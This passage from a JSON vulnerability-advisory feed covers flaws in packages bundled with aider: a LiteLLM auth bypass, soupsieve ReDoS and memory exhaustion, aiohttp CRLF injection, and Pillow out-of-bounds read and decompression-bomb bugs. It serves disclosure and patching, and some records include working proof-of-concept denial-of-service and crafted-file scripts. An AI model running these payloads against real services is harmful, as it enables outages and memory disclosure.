via `Route(...)` without an explicit `methods=` argument.\n* The subclass defines additional methods whose names match a non-standard HTTP-method token shape and that accept a single `request` argument and return a response.\n\nThis also affects frameworks built on Starlette, like FastAPI.\n\n### Mitigation\n\nRegister `HTTPEndpoint` subclasses with an explicit `methods=` argument on the `Route`, listing only the HTTP verbs the endpoint supports. The route then rejects any other method with `405 Method Not Allowed` before it reaches the endpoint, so non-standard methods cannot resolve an attribute.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"}],"references":[{"type":"WEB","url":"https://github.com/Kludex/starlette/security/advisories/GHSA-x746-7m8f-x49c"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-48817"},{"type":"PACKAGE","url":"https://github.com/Kludex/starlette"},{"type":"WEB","url":"https://github.com/Kludex/starlette/releases/tag/1.1.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-49468","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:13Z","upstream":["GHSA-4xpc-pv4p-pm3w","CVE-2026-49468","PYSEC-2026-388"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"1.84.0","resource":"litellm","resource_purl":"pkg:pypi/litellm@1.81.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"litellm","subject_version":"1.81.10","key":"pkg:pypi/litellm@1.81.10","resource":"litellm"}]},"summary":"LiteLLM: Authentication Bypass via Host Header Injection","details":"### Impact\n\nA Host-header parsing flaw in the LiteLLM proxy could, under specific conditions, allow unauthenticated access to protected management routes.\n\nThe auth layer derived the effective route from `request.url.path` in `litellm/proxy/auth/auth_utils.py::get_request_route()`, which Starlette reconstructs from the `Host` header. A crafted `Host` could therefore make the auth gate evaluate a different route from the one FastAPI dispatched.\n\n**Most deployments are not affected.** The bypass is blocked by any upstream layer that validates or normalizes `Host`, such as:\n\n- a CDN or WAF, such as Cloudflare\n- a reverse proxy with `server_name` allowlists\n- a host-based load balancer\n\n**LiteLLM Cloud customers are not affected.**\n\n### Patches\n\nFixed in **`1.84.0`**. Upgrade to `1.84.0` or later. No configuration change is required.\n\n### Workarounds\n\nIf upgrading is not immediately possible, place the proxy behind an upstream component that validates or normalizes the `Host` header before forwarding (a CDN/WAF, a reverse proxy with explicit `server_name` allowlists, or a cloud load balancer with host-based routing rules), or otherwise restrict network access to the proxy listener.\n\n### References\n\n- Patched release: [`v1.84.0`](https://github.com/BerriAI/litellm/releases/tag/v1.84.0)\n\n**Discovery Credit**: Le The Thang (KCSC) and Kim Ngoc Chung (One Mount Group)","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"}],"references":[{"type":"WEB","url":"https://github.com/BerriAI/litellm/security/advisories/GHSA-4xpc-pv4p-pm3w"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-49468"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-49468"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2491520"},{"type":"PACKAGE","url":"https://github.com/BerriAI/litellm"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/releases/tag/v1.84.0"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-4xpc-pv4p-pm3w"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/litellm/PYSEC-2026-388.yaml"},{"type":"WEB","url":"https://pypi.org/project/litellm"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-49468.json"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-49476","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:37Z","upstream":["GHSA-2wc2-fm75-p42x","CVE-2026-49476","PYSEC-2026-3071"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"2.8.4","resource":"soupsieve","resource_purl":"pkg:pypi/soupsieve@2.8.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"soupsieve","subject_version":"2.8.3","key":"pkg:pypi/soupsieve@2.8.3","resource":"soupsieve"}]},"summary":"Soup Sieve has Memory Exhaustion via Large Comma-Separated Selector Lists","details":"### Summary\n\nThe CSS selector parser in soupsieve (the CSS selector engine for Beautiful Soup 4) allocates unbounded memory when compiling large comma-separated selector lists. An attacker who can supply a crafted CSS selector string to `soupsieve.compile()` or Beautiful Soup's `.select()` / `.select_one()` can cause the application to allocate hundreds of megabytes of heap memory from a relatively small input, leading to memory exhaustion and denial of service.\n\nTo be completely transparent, AI tools helped surface this issue. However, it was independently reproduced and carefully validated. Researchers follow responsible disclosure practices and originally shared this report privately.\n\nA **500 KB** selector string triggers allocation of approximately **244 MB** of heap memory - a 488x— amplification ratio**.\n\n### Details\n\n**Affected code:** `soupsieve/css_parser.py`, lines ~204, 925, 1106\n\nThe soupsieve CSS parser splits comma-separated selector lists and creates one `CSSSelector` object per list item. Each `CSSSelector` object contains parsed selector data structures including `SelectorList`, `Selector`, and associated tag/attribute/pseudo-class metadata.\n\nWhen a selector string such as `a,a,a,...` (with 250,000 comma-separated items) is passed to `sv.compile()`, the parser:\n\n1. Tokenises the entire string and identifies each comma-delimited segment (line ~1106)\n2. Parses each segment into a full `Selector` object with all associated metadata (line ~925)\n3. Stores all parsed selectors in a `SelectorList` (line ~204)\n\n**Root cause:** No limit is enforced on the number of selectors in a comma-separated list. The parser will attempt to parse and store an arbitrary number of selectors, with each selector object consuming approximately **976 bytes** of heap memory. The total allocation scales linearly with the number of list items, but the amplification ratio (output memory / input bytes) is extremely high because each single-character selector like `a` expands into a complex object graph.\n\n**Attack surface:** Any application that passes user-supplied CSS selectors to `soupsieve.compile()` or Beautiful Soup's `.select()` / `.select_one()`.\n\n### Proof of Concept\n\n```python\nimport tracemalloc\nimport soupsieve as sv\n\ntracemalloc.start()\n\n# Build a 500 KB selector string: \"a,a,a,...,a\" (250,000 items)\ncount = 250_000\nselector = \",\".join(\"a\" for _ in range(count))\nprint(f\"Selector string size: {len(selector):,} bytes ({len(selector) / 1024:.0f} KB)\")\n\n# Compile the selector â€” this allocates ~244 MB\ncompiled = sv.compile(selector)\n\ncurrent, peak = tracemalloc.get_traced_memory()\ntracemalloc.stop()\n\nprint(f\"Compiled selector count: {len(compiled.selectors):,}\")\nprint(f\"Current memory: {current / 1024 / 1024:.1f} MB\")\nprint(f\"Peak memory: {peak / 1024 / 1024:.1f} MB\")\nprint(f\"Amplification ratio: {peak / len(selector):.0f}x\")\n\n# Expected output:\n# Selector string size: 499,999 bytes (488 KB)\n# Compiled selector count: 250,000\n# Current memory: ~244 MB\n# Peak memory: ~244 MB\n# Amplification ratio: ~488x\n```\n\n### Impact\n\n**Severity: High**\n\nAn attacker can exhaust available memory on any server-side Python application that compiles user-supplied CSS selectors via soupsieve. This can cause:\n\n- **OOM kills** in containerised deployments (Kubernetes pods, Docker containers) with memory limits\n- **Swap thrashing** on bare-metal servers, degrading performance for all co-located processes\n- **Process termination** via Python's `MemoryError` exception if the system runs out of addressable memory\n\n| Parameter | Value |\n|---|---|\n| Input size | ~500 KB selector string |\n| Memory allocated | ~244 MB |\n| Amplification ratio | ~488Ã— |\n| Per-object overhead | ~976 bytes per selector |\n| Authentication required | None |\n| User interaction required | None |\n\n**Scalability of attack:** The memory allocation scales linearly - doubling the selector count doubles memory usage. An attacker can tune the payload to exactly exhaust a target's memory limits. Multiple concurrent requests multiply the effect.\n\n**Downstream exposure:** soupsieve is an automatic dependency of `beautifulsoup4`, one of the most widely installed Python packages. Any web application accepting CSS selectors from users (e.g., web scraping APIs, content filtering tools, CMS preview features) is potentially affected.\n\n---\n### Credit\n\nDiscovered by a security research team from the University of Sydney, focused on detecting open source software vulnerabilities.\nLiyi Zhou: https://lzhou1110.github.io/\nZiyue Wang: https://zyy0530.github.io/\nStrick: https://str1ckl4nd.github.io/\nMaurice: https://maurice.busystar.org/\nChenchen Yu: https://7thparkk.github.io/","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/facelessuser/soupsieve/security/advisories/GHSA-2wc2-fm75-p42x"},{"type":"PACKAGE","url":"https://github.com/facelessuser/soupsieve"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-49477","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:37Z","upstream":["GHSA-836r-79rf-4m37","CVE-2026-49477","PYSEC-2026-3072"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"2.8.4","resource":"soupsieve","resource_purl":"pkg:pypi/soupsieve@2.8.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"soupsieve","subject_version":"2.8.3","key":"pkg:pypi/soupsieve@2.8.3","resource":"soupsieve"}]},"summary":"Soup Sieve: Regular Expression Denial of Service (ReDoS) via Selector Parser","details":"### Summary\n\nThe CSS selector parser in soupsieve (the CSS selector engine for Beautiful Soup 4) contains a regular expression vulnerable to catastrophic backtracking. When processing an attribute selector with an unterminated quoted value, the `VALUE` regex pattern in `css_parser.py` enters exponential backtracking. A payload of only **300 bytes** causes the regex engine to hang for **over 3 seconds**, enabling a trivial Regular Expression Denial of Service (ReDoS) attack.\n\nTo be completely transparent, AI tools helped surface this issue. However, this was independently reproduced and carefully validated.\n\nAny application that passes untrusted CSS selector strings to `soupsieve.compile()` or Beautiful Soup's `.select()` / `.select_one()` is affected.\n\n### Details\n\n**Affected code:** `soupsieve/css_parser.py`, line ~121 - `RE_VALUES` / `VALUE` regex pattern\n\nThe soupsieve CSS parser uses a compiled regular expression to tokenise attribute selector values. This pattern matches both quoted strings (`\"value\"` or `'value'`) and unquoted identifiers. The regex contains alternation branches for:\n\n1. Double-quoted strings: `\"[^\"\\\\]*(?:\\\\.[^\"\\\\]*)*\"`\n2. Single-quoted strings: `'[^'\\\\]*(?:\\\\.[^'\\\\]*)*'`\n3. Unquoted identifiers\n\nWhen an attribute selector contains an **unterminated quoted value** - e.g., `[a=\"xxxx...` (opening `\"` but no closing `\"`) -” the regex engine attempts to match the quoted-string branch. After that branch fails (no closing quote), the engine backtracks and attempts to match the remaining input against subsequent alternation branches and parent patterns. The structure of the pattern causes **catastrophic backtracking** where the number of backtracking steps grows exponentially with the length of the content between the opening quote and the end of the string.\n\n**Root cause:** The regex pattern does not anchor or guard against the case where a quoted string is never terminated. The overlapping character classes across alternation branches create exponential backtracking when the quoted-string branch fails on long input.\n\n**Key characteristics:**\n- **Input size:** Only 300 bytes are needed to trigger a >3 second hang\n- **Amplification:** Each additional character approximately doubles the backtracking time\n- **No memory impact:** The attack consumes CPU only (regex backtracking is compute-bound)\n\n### Proof of Concept\n\n```python\nimport time\nimport soupsieve as sv\n\nPAYLOAD_LEN = 300\n\n# Control: well-formed selector with terminated quote (completes instantly)\nwell_formed = '[a=\"' + ('x' * PAYLOAD_LEN) + '\"]'\nstart = time.perf_counter()\ntry:\n    sv.compile(well_formed)\nexcept Exception:\n    pass\ncontrol_time = time.perf_counter() - start\nprint(f\"Well-formed selector ({len(well_formed)} bytes): {control_time:.4f}s\")\n\n# Exploit: unterminated quote triggers catastrophic regex backtracking\nmalformed = '[a=\"' + ('x' * PAYLOAD_LEN)\nstart = time.perf_counter()\ntry:\n    sv.compile(malformed)  # WARNING: This will hang for >3 seconds\nexcept Exception:\n    pass\nexploit_time = time.perf_counter() - start\nprint(f\"Malformed selector ({len(malformed)} bytes): {exploit_time:.4f}s\")\n\nslowdown = exploit_time / max(control_time, 1e-9)\nprint(f\"Slowdown: {slowdown:.0f}x\")\n\n# Expected output:\n# Well-formed selector (306 bytes): ~0.001s\n# Malformed selector (304 bytes): >3.0s (may need to be killed)\n# Slowdown: >3000x\n#\n# NOTE: On some systems the malformed selector may hang indefinitely.\n# Use a timeout mechanism (signal.alarm, threading.Timer) when testing.\n```\n\n**Safe testing variant with timeout:**\n\n```python\nimport signal\nimport soupsieve as sv\n\ndef timeout_handler(signum, frame):\n    raise TimeoutError(\"ReDoS confirmed: regex backtracking exceeded timeout\")\n\nPAYLOAD_LEN = 300\nmalformed = '[a=\"' + ('x' * PAYLOAD_LEN)\n\nsignal.signal(signal.SIGALRM, timeout_handler)\nsignal.alarm(3)  # 3-second timeout\n\ntry:\n    sv.compile(malformed)\n    print(\"Selector compiled (not vulnerable)\")\nexcept TimeoutError as e:\n    print(f\"VULNERABLE: {e}\")\nexcept Exception as e:\n    print(f\"Other error: {e}\")\nfinally:\n    signal.alarm(0)  # Cancel the alarm\n```\n\n### Impact\n\n**Severity: High**\n\nAn attacker can cause CPU exhaustion on any server-side Python application that compiles user-supplied CSS selectors via soupsieve. The attack is particularly dangerous because:\n\n1. **Tiny payload:** Only 300 bytes are needed - well within typical URL parameter, form field, or API request limits\n2. **No special characters:** The payload consists entirely of printable ASCII characters (`[a=\"xxx...`)\n3. **Exponential scaling:** Each additional byte approximately doubles the backtracking time, making the attack easily tuneable\n4. **Thread blocking:** The regex engine blocks the calling thread with no opportunity for interruption (except via OS signals)\n\n| Parameter | Value |\n|---|---|\n| Input size | 300 bytes |\n| CPU time consumed | >3 seconds (exponential with payload length) |\n| Memory consumed | Negligible (CPU-only attack) |\n| Authentication required | None |\n| User interaction required | None |\n\n**Deployment impact:** In threaded or async web applications, a single malicious request blocks a worker thread for the duration of the backtracking. An attacker can submit multiple concurrent requests to exhaust all available workers, causing complete service denial. The small payload size makes the attack easy to deliver and difficult to detect via request size limits.\n\n**Downstream exposure:** soupsieve is an automatic dependency of `beautifulsoup4`, one of the most widely installed Python packages. Any web application, API, or service that accepts CSS selectors from users is potentially affected.\n\n---\n\n### Credit\n\nThe vulnerability was discovered by a security research team from the University of Sydney, whose focus is detecting open source software vulnerabilities.\nLiyi Zhou: https://lzhou1110.github.io/\nZiyue Wang: https://zyy0530.github.io/\nStrick: https://str1ckl4nd.github.io/\nMaurice: https://maurice.busystar.org/\nChenchen Yu: https://7thparkk.github.io/","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/facelessuser/soupsieve/security/advisories/GHSA-836r-79rf-4m37"},{"type":"PACKAGE","url":"https://github.com/facelessuser/soupsieve"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-50269","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:11Z","upstream":["GHSA-m6qw-4cw2-hm4m","CVE-2026-50269","PYSEC-2026-2106"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.0","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"aiohttp: CRLF injection in multipart headers","details":"### Summary\n\nAttacker-controlled input included into multipart/payload headers can be used to modify a request to inject additional headers or similar.\n\n### Impact\n\nIn the unlikely situation that an application is passing user-controlled strings into `MultipartWriter.append(headers=...)` or `Payload.headers`, then an attacker may be able to modify the request to inject headers or change the contents of the request.\n\n### Workaround\n\nSanitise such user input.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/bf88077ebb14f4c29924b8e8904cba20c55c28b8","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-m6qw-4cw2-hm4m"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/bf88077ebb14f4c29924b8e8904cba20c55c28b8"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-54058","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:20Z","upstream":["GHSA-62p4-gmf7-7g93","BIT-pillow-2026-54058","CVE-2026-54058","PYSEC-2026-3493"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.86.1_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"12.3.0","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"Pillow: Out-of-bounds read via attacker-controlled row stride on Pillow's mmap path (McIdas AREA files)","details":"## Summary\n\nWhen Pillow loads an uncompressed image whose tile uses the `raw` codec and a mode in `Image._MAPMODES`, and the image was opened **from a filename**, it memory-maps the file and builds the image's row pointers directly into the mapping via `PyImaging_MapBuffer` (`src/map.c`). The per-row spacing (`stride`) is taken from the tile arguments. `map.c` validates `offset + ysize*stride <= buffer_len` but **never checks that `stride` is at least the natural row width `xsize * pixelsize`**.\n\nThe **McIdas** AREA plugin (`McIdasImagePlugin.py`) derives `stride`, `offset`, `xsize`, and `ysize` directly from attacker-controlled 32-bit header words with no validation. By supplying a `stride` far smaller than the row width, an attacker makes each row pointer read `xsize*pixelsize` bytes that run past the mapped region. Accessing the pixels (e.g. `Image.tobytes()`,\n`getpixel`, `convert`, `save`) then reads adjacent process memory (information disclosure) or faults (SIGBUS, denial of service).\n\n\n## Complete Code Trace\n\n**Step 1: `McIdasImageFile._open`** - turns attacker header words into image size, file offset, and row stride with no validation.\n\n```python\n# src/PIL/McIdasImagePlugin.py:41-70\ns = self.fp.read(256)\nif not _accept(s) or len(s) != 256:        # _accept: prefix == b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\"\n    raise SyntaxError(...)\nself.area_descriptor = w = [0, *struct.unpack(\"!64i\", s)]   # w[1..64] = signed BE int32, ALL attacker-controlled\n\nif w[11] == 1:\n    mode = rawmode = \"L\"                    # pixelsize 1, in _MAPMODES\nelif w[11] == 2:\n    mode = rawmode = \"I;16B\"                # pixelsize 2, in _MAPMODES\n...\nself._mode = mode\nself._size = w[10], w[9]                    # (xsize, ysize)  <-- attacker\noffset = w[34] + w[15]                       # <-- attacker\nstride = w[15] + w[10] * w[11] * w[14]       # <-- attacker (set w[14]=0, w[15]=1 => stride=1)\nself.tile = [\n    ImageFile._Tile(\"raw\", (0, 0) + self.size, offset, (rawmode, stride, 1))\n]\n```\n\n**Step 2: `ImageFile.load` (mmap branch)** - selects mmap and delegates to `map_buffer`.\n\n```python\n# src/PIL/ImageFile.py:322-348\nif use_mmap:                                 # use_mmap = self.filename and len(self.tile) == 1\n    decoder_name, extents, offset, args = self.tile[0]\n    if (decoder_name == \"raw\" and isinstance(args, tuple) and len(args) >= 3\n            and args[0] == self.mode and args[0] in Image._MAPMODES):\n        if offset < 0:                       # only lower-bound guard on offset\n            raise ValueError(\"Tile offset cannot be negative\")\n        with open(self.filename) as fp:\n            self.map = mmap.mmap(fp.fileno(), 0, access=mmap.ACCESS_READ)\n        if offset + self.size[1] * args[1] > self.map.size():   # == offset + ysize*stride; NO stride>=linesize check\n            raise OSError(\"buffer is not large enough\")\n        self.im = Image.core.map_buffer(\n            self.map, self.size, decoder_name, offset, args      # args = (\"L\", stride, 1)\n        )\n```\n\n**Step 3: `PyImaging_MapBuffer`** - builds row pointers at `stride` spacing into the mmap; validates everything except `stride >= row width`.\n\n```c\n/* src/map.c:65-140 */\nif (!PyArg_ParseTuple(args, \"O(ii)sn(sii)\",\n        &target, &xsize, &ysize, &codec, &offset, &mode_name, &stride, &ystep))\n    return NULL;\n...\nconst ModeID mode = findModeID(mode_name);          /* \"L\" */\n\nif (stride <= 0) {                                  /* attacker sets stride=1 (>0) -> NOT recomputed */\n    if (mode == IMAGING_MODE_L || mode == IMAGING_MODE_P) stride = xsize;\n    else if (isModeI16(mode)) stride = xsize * 2;\n    else stride = xsize * 4;\n}\n\nif (stride > 0 && ysize > PY_SSIZE_T_MAX / stride) {/* overflow guard only */\n    PyErr_SetString(PyExc_MemoryError, \"Integer overflow in ysize\"); return NULL;\n}\nsize = (Py_ssize_t)ysize * stride;                  /* = 1*1 = 1 */\n\nif (offset > PY_SSIZE_T_MAX - size) { ... }\n...\nif (offset + size > view.len) {                     /* 1 + 1 = 2 <= 256 -> PASSES */\n    PyErr_SetString(PyExc_ValueError, \"buffer is not large enough\");\n    PyBuffer_Release(&view); return NULL;\n}\n\nim = ImagingNewPrologueSubtype(mode, xsize, ysize, sizeof(ImagingBufferInstance));\n/* im->linesize = xsize * pixelsize = 200000  (the REAL per-row read width) */\n\n/* setup file pointers -- NO check that stride >= im->linesize */\nif (ystep > 0) {\n    for (y = 0; y < ysize; y++) {\n        im->image[y] = (char *)view.buf + offset + y * stride;   /* row points into mmap, spacing=1 */\n    }\n} else { ... }\n```\n\n`im->linesize` (the number of bytes any consumer reads per row) is `xsize * pixelsize = 200000`, but the row pointers are only `stride = 1` byte apart and the buffer is only `offset + ysize*stride = 2` bytes \"claimed\". Nothing reconciles the two.\n\n**Step 4: pixel access (`Image.tobytes()` → raw encoder `copy1`)** - reads `linesize` bytes from `im->image[0]`, i.e. `xsize` bytes starting at `view.buf + offset`, running far past the mmap.\n\n```c\n/* the raw \"L\" packer copies linesize (=xsize) bytes per row from im->image[y];\n   for row 0 that is view.buf+1 .. view.buf+1+200000, vs a 256-byte file. */\n```\n\n## Chain Summary\n\n```\nSOURCE: McIdas AREA header words w[9],w[10],w[11],w[14],w[15],w[34]  (Image.open on a path)\n  ↓ McIdasImagePlugin._open: stride = w[15]+w[10]*w[11]*w[14]  -> attacker sets stride=1   [McIdasImagePlugin.py:66]\n  ↓ tile = (\"raw\", (0,0,xsize,1), offset, (\"L\", 1, 1))                                     [McIdasImagePlugin.py:68]\nGADGET: ImageFile.load mmap branch -- only checks offset+ysize*stride<=len  <- BUG: no stride>=linesize check  [ImageFile.py:343]\n  ↓ core.map_buffer(map, (xsize,1), \"raw\", offset, (\"L\",1,1))                              [ImageFile.py:346]\nSINK: PyImaging_MapBuffer: im->image[0] = view.buf + offset + 0*stride; linesize=xsize   [map.c:134]\n  ↓ Image.tobytes() raw \"L\" encoder reads linesize (=xsize) bytes from im->image[0]\nIMPACT: reads xsize bytes from a tiny mmap -> OOB read of adjacent process memory (leak) or SIGBUS (DoS)\n```\n## Proof of Concept\n\nSee attached [poc.zip](https://github.com/user-attachments/files/28460498/poc.zip)\n\n\n## Impact on a Parent Application\n\nAny application that opens image files supplied by users **from a path on disk** (the common pattern: save upload to a temp file, then `Image.open(path)`), has the default plugin set (McIdas is registered by default), and subsequently reads/returns/re-encodes the decoded pixels (thumbnailing, format conversion, serving a preview), is exposed:\n\n- **Information disclosure (High):** the decoded \"image\" contains bytes of the   worker process's adjacent heap/mapped memory, which the app then serves or stores - potentially leaking secrets, credentials, or other users' data.\n- **Denial of service (High):** a larger `xsize` reliably crashes the worker with SIGBUS.\n\n## Suggested fix\nCore fix in `src/map.c` (`PyImaging_MapBuffer`): reject `offset < 0` and `stride < im->linesize`. Defense-in-depth in `McIdasImagePlugin._open`: reject `offset < 0` or `stride < xsize*pixelsize` .","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-62p4-gmf7-7g93"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54058"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/pull/9719"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/6a8de891fb00968e5ea79bfa84368ed90b3cfc1d"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/12.3.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-54059","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:22Z","upstream":["GHSA-8v84-f9pq-wr9x","BIT-pillow-2026-54059","CVE-2026-54059","PYSEC-2026-2253"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.86.1_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"12.3.0","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"Pillow `PcfFontFile._load_bitmaps()`: `Image.frombytes()` called without `_decompression_bomb_check()` — bomb protection bypass via PCF font loading","details":"## Description\n`PIL/PcfFontFile.py` `_load_bitmaps()` (line 227) reads glyph dimensions from the PCF `METRICS` section and passes them directly to `Image.frombytes()` without calling `Image._decompression_bomb_check()`. Dimensions originate from unsigned 16-bit values:\n\n```\nxsize = right - left          (max: 65535 − 0 = 65535)\nysize = ascent + descent      (max: 65535 + 65535 = 131070)\n```\n\nMaximum exploitable pixel count: **65,535 × 131,070 = 8,589,734,450 pixels** — **48× the DecompressionBombError threshold**.\n\n**Vulnerable code (`PIL/PcfFontFile.py` line 224–227):**\n```python\nfor i in range(nbitmaps):\n    xsize, ysize = metrics[i][:2]    # from PCF METRICS — attacker-controlled\n    b, e = offsets[i : i + 2]\n    bitmaps.append(\n        Image.frombytes(\"1\", (xsize, ysize), data[b:e], \"raw\", mode, pad(xsize))\n        # ↑ NO _decompression_bomb_check()!\n    )\n```\n\n`Image.frombytes()` calls `Image.new()` first (allocating the full C-heap buffer), **then** attempts to fill it. This creates two distinct attack paths:\n\n- **Persistent attack**: Provide matching bitmap data → `frombytes()` succeeds → image stored in `font.glyph[ch]` permanently\n- **Transient attack**: Provide a 148-byte PCF file with large declared dimensions but no data → `Image.new()` allocates the full buffer → `ValueError` → buffer freed → but the spike occurs before Python can respond\n\n## Steps to reproduce\n\n**Proof of Concept script:**\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC: PcfFontFile bomb bypass — 148-byte PCF → 23 MB allocation\"\"\"\nimport io, struct, tracemalloc, warnings\nwarnings.filterwarnings(\"ignore\")\n\nfrom PIL.PcfFontFile import PcfFontFile\nfrom PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError\n\nW, H = 14000, 14000   # 196M pixels → above DecompressionBombError threshold\n\n# Show what Image.open() would do\nwarnings.filterwarnings(\"error\", category=DecompressionBombWarning)\ntry:\n    _decompression_bomb_check((W, H))\nexcept (DecompressionBombWarning, DecompressionBombError) as e:\n    print(f\"[Image.open() path] BLOCKED by {type(e).__name__}\")\nwarnings.filterwarnings(\"ignore\")\n\n# PCF binary constants\nPCF_MAGIC    = 0x70636601\nPCF_PROPS    = 1 << 0\nPCF_METRICS  = 1 << 2\nPCF_BITMAPS  = 1 << 3\nPCF_ENCODINGS= 1 << 5\n\ndef build_bomb_pcf(xsize, ysize):\n    # Properties: empty\n    props = struct.pack(\"<III\", 0, 0, 0)\n\n    # Metrics (jumbo, non-compressed): 1 glyph — xsize=right-left, ysize=ascent+descent\n    metrics = struct.pack(\"<II\", 0, 1)\n    metrics += struct.pack(\"<HHHHHH\", 0, xsize, xsize, ysize, 0, 0)\n\n    # Bitmaps: 1 glyph, empty data (transient attack)\n    bitmaps = struct.pack(\"<II\", 0, 1)\n    bitmaps += struct.pack(\"<I\", 0)              # offset[0] = 0\n    bitmaps += struct.pack(\"<IIII\", 0, 0, 0, 0) # bitmap_sizes all = 0\n\n    # Encodings: char 0x41 ('A') → glyph 0\n    enc_offsets = [0xFFFF]*65 + [0] + [0xFFFF]*62\n    encodings = struct.pack(\"<IHHHHH\", 0, 0, 127, 0, 0, 0xFFFF)\n    encodings += struct.pack(\"<\" + \"H\"*128, *enc_offsets)\n\n    secs = [(PCF_PROPS, props), (PCF_METRICS, metrics),\n            (PCF_BITMAPS, bitmaps), (PCF_ENCODINGS, encodings)]\n    hdr_size = 4 + 4 + len(secs) * 16\n    out = struct.pack(\"<II\", PCF_MAGIC, len(secs))\n    offset = hdr_size\n    for stype, sdata in secs:\n        out += 